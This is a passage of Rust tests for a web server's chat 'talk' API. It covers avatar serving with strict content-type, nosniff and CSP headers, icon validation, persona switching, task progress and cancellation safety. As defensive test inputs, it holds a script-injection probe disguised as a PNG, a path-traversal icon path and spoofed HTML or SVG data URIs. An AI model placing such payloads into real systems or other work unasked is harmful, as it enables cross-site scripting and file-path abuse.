15191            orphan,
15192            false,
15193            Some(&cfg),
15194            home.path(),
15195            &id_links::IndexCache::default(),
15196        );
15197        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15198    }
15199
15200    #[tokio::test]
15201    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15202        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15203        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15204        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15205        let _ = magi_icon_put(
15206            State(ui.clone()),
15207            Json(MagiIconUpload { icon: icon.into() }),
15208        )
15209        .await
15210        .unwrap();
15211        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15212        assert_ne!(original, changed);
15213        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15214        let response = magi_avatar(
15215            State(ui.clone()),
15216            Query(AvatarQuery {
15217                persona: None,
15218                builtin: None,
15219            }),
15220        )
15221        .await;
15222        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15223        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15224        assert_eq!(
15225            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15226            "nosniff"
15227        );
15228        for bad in [
15229            "data:image/png;base64,PGh0bWw+".to_owned(),
15230            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15231            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15232        ] {
15233            assert!(save_magi_icon(home.path(), &bad).is_err());
15234            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15235        }
15236        // Re-opened server state reads the same independent home file.
15237        let restarted = Arc::new(Ui::new(
15238            Queue::at(home.path().join("queue")),
15239            Questions::at(home.path().join("questions")),
15240            Talks::at(home.path().join("talks")),
15241            home.path().join("runs"),
15242            home.path().to_path_buf(),
15243            repo,
15244        ));
15245        assert_eq!(
15246            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15247            changed
15248        );
15249        let view = TalkView::with_config(
15250            restarted.talks.get(&id).unwrap(),
15251            false,
15252            None,
15253            &restarted.home,
15254            &restarted.references,
15255        );
15256        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15257        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15258        let response = magi_avatar(
15259            State(ui.clone()),
15260            Query(AvatarQuery {
15261                persona: None,
15262                builtin: None,
15263            }),
15264        )
15265        .await;
15266        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15267            .await
15268            .unwrap();
15269        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15270        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15271        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15272        let _ = magi_icon_delete(State(ui)).await.unwrap();
15273    }
15274
15275    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15276    async fn avatar(
15277        ui: &Arc<Ui>,
15278        id: &str,
15279        persona: Option<&str>,
15280        builtin: bool,
15281    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15282        let res = talk_avatar(
15283            State(Arc::clone(ui)),
15284            Path(id.to_owned()),
15285            Query(AvatarQuery {
15286                persona: persona.map(str::to_owned),
15287                builtin: builtin.then(|| "1".to_owned()),
15288            }),
15289        )
15290        .await
15291        .expect("an avatar is never an error response");
15292        let h = res.headers();
15293        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15294        let nosniff = h
15295            .get(header::X_CONTENT_TYPE_OPTIONS)
15296            .is_some_and(|v| v == "nosniff");
15297        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15298        let status = res.status();
15299        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15300            .await
15301            .expect("body")
15302            .to_vec();
15303        (status, ct, nosniff, csp, body)
15304    }
15305
15306    fn tiny_png() -> Vec<u8> {
15307        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15308        b.extend_from_slice(&[0u8; 32]);
15309        b
15310    }
15311
15312    #[tokio::test]
15313    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15314        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15315        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15316        assert_eq!(res.status(), StatusCode::OK);
15317        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15318        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15319        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15320        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15321        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15322            .await
15323            .unwrap();
15324        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15325        assert_ne!(
15326            persona_icon::operator_svg(),
15327            persona_icon::builtin_svg("default")
15328        );
15329    }
15330
15331    #[tokio::test]
15332    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15333        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15334        for p in [
15335            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15336        ] {
15337            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15338            assert_eq!(status, StatusCode::OK, "{p}");
15339            assert_eq!(ct, "image/svg+xml", "{p}");
15340            assert!(nosniff && csp, "{p}");
15341            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15342        }
15343        // No `persona` means the conversation's own; unknown ones fall back.
15344        let own = avatar(&ui, &id, None, false).await;
15345        let default = avatar(&ui, &id, Some("default"), false).await;
15346        assert_eq!(own.4, default.4);
15347        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15348        assert_eq!(unknown.1, "image/svg+xml");
15349    }
15350
15351    #[tokio::test]
15352    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15353        let dir = TempDir::new().expect("icons");
15354        let good = dir.path().join("good.png");
15355        std::fs::write(&good, tiny_png()).unwrap();
15356        let spoof = dir.path().join("spoof.png");
15357        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15358        let big = dir.path().join("big.png");
15359        let mut bytes = tiny_png();
15360        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15361        std::fs::write(&big, bytes).unwrap();
15362        let missing = dir.path().join("missing.png");
15363        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15364        let extra = format!(
15365            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15366             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15367             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15368             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15369             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15370             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15371            uri(&good),
15372            uri(&spoof),
15373            uri(&big),
15374            uri(&missing),
15375        );
15376        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15377
15378        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15379        assert_eq!(
15380            (status, ct.as_str(), nosniff),
15381            (StatusCode::OK, "image/png", true)
15382        );
15383        assert_eq!(body, tiny_png());
15384        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15385        assert_eq!(ct, "image/png", "data URI");
15386
15387        for p in ["misato", "asuka", "shinji", "magi"] {
15388            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15389            assert_eq!(
15390                (status, ct.as_str(), csp),
15391                (StatusCode::OK, "image/svg+xml", true),
15392                "{p}"
15393            );
15394            assert!(body.starts_with(b"<svg"), "{p}");
15395        }
15396        // The page's own retry skips the icon.
15397        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15398        assert_eq!(ct, "image/svg+xml");
15399    }
15400
15401    #[tokio::test]
15402    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15403        let oversized = format!(
15404            "data:image/png;base64,{}",
15405            "A".repeat(persona_icon::ICON_MAX_BYTES)
15406        );
15407        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15408            let extra = format!(
15409                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15410            );
15411            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15412            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15413                .await
15414                .expect("detail with invalid icon");
15415            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15416            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15417            assert_eq!(status, StatusCode::OK);
15418            assert_eq!(ct, "image/svg+xml");
15419            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15420            let Json(view) = talk_persona(
15421                State(Arc::clone(&ui)),
15422                Path(id.clone()),
15423                Json(TalkPersona {
15424                    persona: "custom".into(),
15425                }),
15426            )
15427            .await
15428            .expect("persona switch with invalid icon");
15429            assert_eq!(view.talk.persona, "custom");
15430            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15431        }
15432    }
15433
15434    #[tokio::test]
15435    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15436        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15437        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15438        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15439        assert_eq!(
15440            (status, ct.as_str(), nosniff, csp),
15441            (StatusCode::OK, "image/svg+xml", true, true)
15442        );
15443    }
15444
15445    #[tokio::test]
15446    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15447        let (_t, _h, ui, id, _repo) =
15448            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15449        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15450            .await
15451            .expect("detail");
15452        let json = serde_json::to_string(&detail).unwrap();
15453        assert!(
15454            !json.contains("secret"),
15455            "the icon setting must not leak: {json}"
15456        );
15457        assert!(
15458            detail
15459                .view
15460                .persona_avatar
15461                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15462        );
15463        assert_eq!(
15464            detail.view.operator_avatar,
15465            format!(
15466                "/avatars/operator.svg?v={}",
15467                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15468            )
15469        );
15470        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15471        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15472        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15473        assert!(rei.avatar.contains("persona=rei&v="));
15474        assert_ne!(
15475            rei.avatar.split("&v=").nth(1),
15476            plain.avatar.split("&v=").nth(1)
15477        );
15478    }
15479
15480    #[tokio::test]
15481    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15482        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15483        let cfg = config_for(&repo).await.unwrap();
15484        for arrived in [false, true] {
15485            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15486            let observed = ui.queued_generation(&id);
15487            let talk = ui.talks.get(&id).unwrap();
15488            if arrived {
15489                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15490            }
15491            let mut settling = std::pin::pin!(settle_settings_turn(
15492                talk,
15493                ui.talks.clone(),
15494                cfg.clone(),
15495                id.clone(),
15496                turn,
15497                observed
15498            ));
15499            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15500            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15501            assert_eq!(first.is_pending(), arrived);
15502            if arrived {
15503                assert!(!settling.await);
15504            }
15505            assert!(!ui.is_thinking(&id));
15506        }
15507    }
15508
15509    #[tokio::test]
15510    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15511        let tmp = TempDir::new().expect("tempdir");
15512        let repo = tmp.path().join("repo");
15513        std::fs::create_dir_all(&repo).expect("repo dir");
15514        std::fs::write(
15515            repo.join("magi.toml"),
15516            format!(
15517                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15518            ),
15519        )
15520        .expect("write magi.toml");
15521        let home = TempDir::new().expect("temp home");
15522        let talks = Talks::at(home.path().join("talks"));
15523        let ui = Arc::new(
15524            Ui::new(
15525                Queue::at(home.path().join("queue")),
15526                Questions::at(home.path().join("questions")),
15527                talks.clone(),
15528                home.path().join("runs"),
15529                home.path().to_path_buf(),
15530                repo.clone(),
15531            )
15532            .with_worktrees_root(home.path().join("wt")),
15533        );
15534        let cfg = config_for(&repo).await.expect("discover config");
15535        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15536        let id = talk.id.clone();
15537        let call = |persona: &str| {
15538            talk_persona(
15539                State(Arc::clone(&ui)),
15540                Path(id.clone()),
15541                Json(TalkPersona {
15542                    persona: persona.to_owned(),
15543                }),
15544            )
15545        };
15546
15547        let unknown = call("nobody").await.expect_err("unknown persona");
15548        assert_eq!(
15549            unknown.status,
15550            StatusCode::BAD_REQUEST,
15551            "{}",
15552            unknown.message
15553        );
15554
15555        {
15556            // Nothing refused so far took a claim, so the guard is free to take
15557            // and holding it is what makes the talk busy.
15558            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15559            let busy = call("rei").await.expect_err("busy talk");
15560            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15561            assert!(
15562                busy.message.contains("a talk turn is running"),
15563                "{}",
15564                busy.message
15565            );
15566            drop(guard);
15567        }
15568        assert_eq!(talks.get(&id).expect("reload").persona, "");
15569
15570        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15571        assert_eq!(view.talk.persona, "gendo");
15572        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15573        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15574        // No intervening I/O or sleep may be needed before another change.
15575        for chosen in ["default", "gendo", "rei", "gendo"] {
15576            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15577            assert!(!view.thinking);
15578            assert!(!ui.is_thinking(&id));
15579        }
15580
15581        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15582            .await
15583            .expect("detail");
15584        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15585        assert_eq!(ids.first(), Some(&"default"));
15586        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15587
15588        let Json(view) = call("default").await.expect("back to default");
15589        assert_eq!(view.talk.persona, "");
15590
15591        let mut closed = talks.get(&id).expect("reload");
15592        talk::close(&mut closed, &talks).expect("close");
15593        let refused = call("rei").await.expect_err("closed talk");
15594        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15595        assert!(
15596            refused.message.contains("takes no more turns"),
15597            "{}",
15598            refused.message
15599        );
15600    }
15601
15602    #[tokio::test]
15603    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15604        let f = Fixture::start().await;
15605        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15606        let queue = f.queue();
15607        let mut mine = Task::new(
15608            "rename the loader".to_owned(),
15609            "rename the loader".to_owned(),
15610            PathBuf::from("/repo/magi"),
15611            Source::Agent {
15612                run: talk_id.clone(),
15613                node: "chat".to_owned(),
15614            },
15615        );
15616        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15617        assert_eq!(empty["task_progress"]["state"], "none");
15618        assert_eq!(empty["task_progress"]["total"], 0);
15619        queue.put(&mut mine).expect("file the task");
15620        let mut theirs = Task::new(
15621            "unrelated".to_owned(),
15622            "unrelated".to_owned(),
15623            PathBuf::from("/repo/magi"),
15624            Source::Human,
15625        );
15626        // A later task linked through origin_chat alone is outside this list.
15627        theirs.origin_chat = Some(talk_id.clone());
15628        queue.put(&mut theirs).expect("file the task");
15629
15630        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15631        assert_eq!(res.status, 200, "{}", res.body);
15632        let body = res.json();
15633        assert_eq!(
15634            body["status"], "open",
15635            "filing a task does not close a talk"
15636        );
15637        let tasks = body["tasks"].as_array().expect("tasks array");
15638        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15639        assert_eq!(tasks[0]["id"], mine.id);
15640        for status in [
15641            TaskStatus::Queued,
15642            TaskStatus::Running,
15643            TaskStatus::Held,
15644            TaskStatus::Failed,
15645            TaskStatus::Blocked,
15646            TaskStatus::Parked,
15647            TaskStatus::Done,
15648            TaskStatus::Queued,
15649        ] {
15650            mine.status = status;
15651            queue.put(&mut mine).expect("update status");
15652            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15653            let progress = &detail["task_progress"];
15654            assert_eq!(progress["total"], 1);
15655            assert_eq!(progress["counts"][status.as_str()], 1);
15656            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15657            assert_eq!(detail["status"], "open", "completion never closes the chat");
15658            if status == TaskStatus::Done {
15659                assert_eq!(progress["state"], "complete");
15660                assert_eq!(progress["done"], 1);
15661                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15662            } else {
15663                assert_eq!(progress["state"], "incomplete");
15664                assert_eq!(progress["done"], 0);
15665                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15666            }
15667        }
15668    }
15669
15670    #[test]
15671    fn talk_task_progress_counts_mixed_statuses() {
15672        let mut tasks: Vec<_> = [
15673            TaskStatus::Queued,
15674            TaskStatus::Running,
15675            TaskStatus::Held,
15676            TaskStatus::Failed,
15677            TaskStatus::Blocked,
15678            TaskStatus::Parked,
15679            TaskStatus::Done,
15680        ]
15681        .into_iter()
15682        .map(|status| {
15683            let mut task = Task::new(
15684                "task".into(),
15685                "task".into(),
15686                PathBuf::from("/repo"),
15687                Source::Human,
15688            );
15689            task.status = status;
15690            task
15691        })
15692        .collect();
15693        let progress = talk_task_progress(&tasks);
15694        assert_eq!(progress.state, "incomplete");
15695        assert_eq!(progress.total, 7);
15696        assert_eq!(progress.done, 1);
15697        assert_eq!(progress.unfinished_ids.len(), 6);
15698        assert!(progress.counts.values().all(|count| *count == 1));
15699        assert_eq!(
15700            progress.unfinished_ids,
15701            tasks[..6]
15702                .iter()
15703                .map(|task| task.id.clone())
15704                .collect::<Vec<_>>()
15705        );
15706
15707        for task in &mut tasks {
15708            task.status = TaskStatus::Done;
15709        }
15710        let complete = talk_task_progress(&tasks);
15711        assert_eq!(complete.state, "complete");
15712        assert_eq!(complete.done, 7);
15713        assert!(complete.unfinished_ids.is_empty());
15714        tasks[0].status = TaskStatus::Queued;
15715        let requeued = talk_task_progress(&tasks);
15716        assert_eq!(requeued.state, "incomplete");
15717        assert_eq!(requeued.done, 6);
15718        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15719
15720        let empty = talk_task_progress(&[]);
15721        assert_eq!(empty.state, "none");
15722        assert_eq!(empty.total, 0);
15723        assert_eq!(empty.done, 0);
15724        assert!(empty.unfinished_ids.is_empty());
15725        assert!(empty.counts.values().all(|count| *count == 0));
15726    }
15727
15728    #[tokio::test]
15729    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15730        let (_tmp, _repo, f) = talk_fixture().await;
15731        let id = f.post("/api/talks", None).await.json()["id"]
15732            .as_str()
15733            .expect("id")
15734            .to_owned();
15735
15736        let res = f
15737            .post(
15738                &format!("/api/talks/{id}/say"),
15739                Some(r#"{"text":"what does the queue module do?"}"#),
15740            )
15741            .await;
15742        assert_eq!(res.status, 202, "{}", res.body);
15743        let queued = res.json();
15744        let turns = queued["turns"].as_array().expect("turns array");
15745        assert_eq!(
15746            turns.len(),
15747            1,
15748            "the answer reflects only what is on disk the instant it is sent, \
15749             before the agent's turn - which can run for the whole of \
15750             `[graph] timeout_talk` - has a chance to land: {queued}"
15751        );
15752        assert_eq!(turns[0]["who"], "operator");
15753        assert_eq!(turns[0]["body"], "what does the queue module do?");
15754        assert_eq!(
15755            queued["thinking"], true,
15756            "the accepted response exposes the background turn claim: {queued}"
15757        );
15758
15759        let mut turns_after = 1;
15760        for _ in 0..SETTLE_STEPS {
15761            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15762            turns_after = detail["turns"].as_array().expect("turns array").len();
15763            if turns_after == 2 {
15764                break;
15765            }
15766            tokio::time::sleep(Duration::from_millis(10)).await;
15767        }
15768        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15769    }
15770
15771    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15772    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15773    /// guards against: `talk::record` used to return, and only *then* did the
15774    /// handler make a second, separate disk round trip before spawning the
15775    /// agent's reply task. A future dropped in that gap left a message
15776    /// recorded on disk with no reply task ever started and no way back short
15777    /// of a fresh message - and the gap was not even the whole story: *any*
15778    /// `.await` in this handler, including the very first one, is a point
15779    /// where a drop can land after the awaited work already finished but
15780    /// before this handler's own code resumes to act on it. `record` now
15781    /// runs inside the task `tokio::spawn` hands to the runtime before this
15782    /// handler ever awaits anything of its own again, so there is nothing
15783    /// left in *this* handler's future for a disconnect to interrupt between
15784    /// the message landing on disk and the reply task starting.
15785    ///
15786    /// A real socket disconnect cannot be relied on to land in the old gap
15787    /// from a test - over loopback, `talk_say` typically finishes before the
15788    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15789    /// same failure mode directly: it drops the task's future at whatever
15790    /// point it has reached, exactly what axum does to the handler future,
15791    /// without needing to win a real network race. Sweeping the delay before
15792    /// aborting samples a range of points the task's execution can be at,
15793    /// including where the old code sat waiting on its second disk round
15794    /// trip - confirmed by reverting this fix locally and watching this same
15795    /// sweep catch a talk stuck with the operator's turn recorded and no
15796    /// reply ever following.
15797    #[tokio::test]
15798    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15799        let tmp = TempDir::new().expect("tempdir");
15800        let repo = tmp.path().join("repo");
15801        std::fs::create_dir_all(&repo).expect("repo dir");
15802        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15803        let home = TempDir::new().expect("temp home");
15804        let talks = Talks::at(home.path().join("talks"));
15805        let ui = Arc::new(
15806            Ui::new(
15807                Queue::at(home.path().join("queue")),
15808                Questions::at(home.path().join("questions")),
15809                talks.clone(),
15810                home.path().join("runs"),
15811                home.path().to_path_buf(),
15812                repo.clone(),
15813            )
15814            .with_worktrees_root(home.path().join("wt")),
15815        );
15816        let cfg = config_for(&repo).await.expect("discover config");
15817
15818        for delay in 0..40u32 {
15819            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15820            let id = talk.id.clone();
15821
15822            let handler = tokio::spawn(talk_say(
15823                State(Arc::clone(&ui)),
15824                Path(id.clone()),
15825                Ok(Json(NewTalkTurn {
15826                    reply_to: None,
15827                    text: "what does the queue module do?".to_owned(),
15828                    attachments: Vec::new(),
15829                })),
15830            ));
15831            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15832            handler.abort();
15833            // Wait out the abort so the next iteration's talk does not race
15834            // this one's still-unwinding turn guard.
15835            let _ = handler.await;
15836
15837            let mut turns = 0;
15838            for _ in 0..SETTLE_STEPS {
15839                if let Ok(fresh) = talks.get(&id) {
15840                    turns = fresh.turns.len();
15841                    if turns != 1 {
15842                        break;
15843                    }
15844                }
15845                tokio::time::sleep(Duration::from_millis(10)).await;
15846            }
15847            assert_ne!(
15848                turns, 1,
15849                "delay {delay}: talk {id} recorded the operator's turn but \
15850                 the agent never answered - the reply task was never \
15851                 started after the handler future was dropped"
15852            );
15853        }
15854    }
15855
15856    /// The same drop, landing on `talk_say`'s other durable write.
15857    ///
15858    /// When a turn is already running, the busy branch persists the
15859    /// operator's text as a queued draft and then reclaims the turn slot if
15860    /// the holder gave it up in the meantime - and whoever reclaims owes that
15861    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15862    /// which finishes whether or not the future awaiting it is still there,
15863    /// so a handler dropped at that `.await` used to leave the draft written
15864    /// to disk with the reclaimed guard dropped unread and no drainer ever
15865    /// started: the message sat queued until some unrelated later `say`
15866    /// happened to pick it up.
15867    ///
15868    /// This used to drive the handler future by hand, polling it a fixed
15869    /// number of times to park it at the `.await` where it asks for the turn
15870    /// and finds it busy, before the reclaim's slot-free case could be set up
15871    /// underneath it. That assumed a fixed number of polls lands at a fixed
15872    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15873    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15874    /// poll, so any number of this handler's several `blocking` awaits can
15875    /// collapse into one poll under load, landing the drive somewhere other
15876    /// than intended - including, occasionally, straight past the handler's
15877    /// own completion, which made polling it again panic with "async fn
15878    /// resumed after completion". No poll count fixes that; the handler's
15879    /// progress simply is not something a caller outside it can observe by
15880    /// counting.
15881    ///
15882    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15883    /// inside the write itself, so the interleaving under test is pinned by
15884    /// an event instead of a guess: the gate fires only once the handler has
15885    /// actually decided `Busy` and is about to persist the draft, and it
15886    /// blocks that write until the test lets it through. Between those two
15887    /// moments the test drains the turn the handler found busy - through
15888    /// `drain_loop`, the protocol's other half - and then aborts the handler
15889    /// task outright, the same way axum drops a disconnected request's
15890    /// future. The write, and the reclaim it may do, run to completion
15891    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15892    /// to the runtime before ever touching the gate, wholly independent of
15893    /// whether the handler that started it is still around - which is what
15894    /// this test is actually checking. A drainer other than that reclaim
15895    /// cannot exist here: the test's own `drain_loop` call happens before the
15896    /// gate opens, so it runs while the queue is still empty and hands the
15897    /// turn straight back rather than draining anything, closing off the
15898    /// possibility of the final assertion passing without the reclaim ever
15899    /// having done its job.
15900    #[tokio::test]
15901    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15902        let tmp = TempDir::new().expect("tempdir");
15903        let repo = tmp.path().join("repo");
15904        std::fs::create_dir_all(&repo).expect("repo dir");
15905        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15906        let home = TempDir::new().expect("temp home");
15907        let talks = Talks::at(home.path().join("talks"));
15908        let ui = Arc::new(
15909            Ui::new(
15910                Queue::at(home.path().join("queue")),
15911                Questions::at(home.path().join("questions")),
15912                talks.clone(),
15913                home.path().join("runs"),
15914                home.path().to_path_buf(),
15915                repo.clone(),
15916            )
15917            .with_worktrees_root(home.path().join("wt")),
15918        );
15919        let cfg = config_for(&repo).await.expect("discover config");
15920
15921        for attempt in 0..3u32 {
15922            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15923            let id = talk.id.clone();
15924            // A turn is already running, which is what sends `talk_say` down
15925            // the busy branch.
15926            let turn_guard = ui
15927                .begin_talk_turn(&id)
15928                .expect("claim the turn")
15929                .expect("a fresh talk owes nobody a turn");
15930
15931            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15932            let (release_tx, release_rx) = std::sync::mpsc::channel();
15933            ui.set_busy_queue_gate(BusyQueueGate {
15934                reached: reached_tx,
15935                release: release_rx,
15936            });
15937
15938            let handler = tokio::spawn(talk_say(
15939                State(Arc::clone(&ui)),
15940                Path(id.clone()),
15941                Ok(Json(NewTalkTurn {
15942                    reply_to: None,
15943                    text: "what does the queue module do?".to_owned(),
15944                    attachments: Vec::new(),
15945                })),
15946            ));
15947
15948            // Wait for the busy branch to actually reach the gate, rather
15949            // than for any fixed number of polls of anything - a bounded
15950            // wait rather than a bare `.await` so a regression that never
15951            // reaches the gate fails the test instead of hanging it.
15952            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15953                .await
15954                .unwrap_or_else(|_| {
15955                    panic!(
15956                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15957                    )
15958                })
15959                .expect("the busy branch dropped the gate without using it");
15960            assert!(
15961                crate::chat_worker::try_publication_guard(&talks, &id)
15962                    .expect("publication fence")
15963                    .is_none(),
15964                "a queued worker cannot promote text before its successor reservation is published"
15965            );
15966
15967            // A listener replacement queues its writer behind this accepted
15968            // mutation. Even disconnecting the HTTP caller must not release
15969            // admission before the write-to-worker handoff has completed.
15970            let closing = Arc::clone(&ui.admissions).write_owned();
15971            tokio::pin!(closing);
15972            std::future::poll_fn(|cx| {
15973                assert!(closing.as_mut().poll(cx).is_pending());
15974                std::task::Poll::Ready(())
15975            })
15976            .await;
15977            assert!(
15978                ui.begin_admission().is_err(),
15979                "replacement blocks later admissions"
15980            );
15981
15982            // The turn that was running now finishes and gives the slot up
15983            // the way a real one does - through `drain_loop`, which finds
15984            // nothing queued yet (the write is still held at the gate) and
15985            // releases. The handler, parked inside `spawn_blocking` on the
15986            // other side of the gate, still believes the talk is busy -
15987            // exactly the interleaving the reclaim exists for.
15988            let running = talks.get(&id).expect("reload talk");
15989            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15990
15991            // Drop the handler future now, the way a reloading phone drops
15992            // it: suspended waiting on the busy branch's answer, having
15993            // itself made no more progress since it handed the write off.
15994            handler.abort();
15995            let _ = handler.await;
15996            std::future::poll_fn(|cx| {
15997                assert!(
15998                    closing.as_mut().poll(cx).is_pending(),
15999                    "HTTP cancellation must not abandon a publishing transaction"
16000                );
16001                std::task::Poll::Ready(())
16002            })
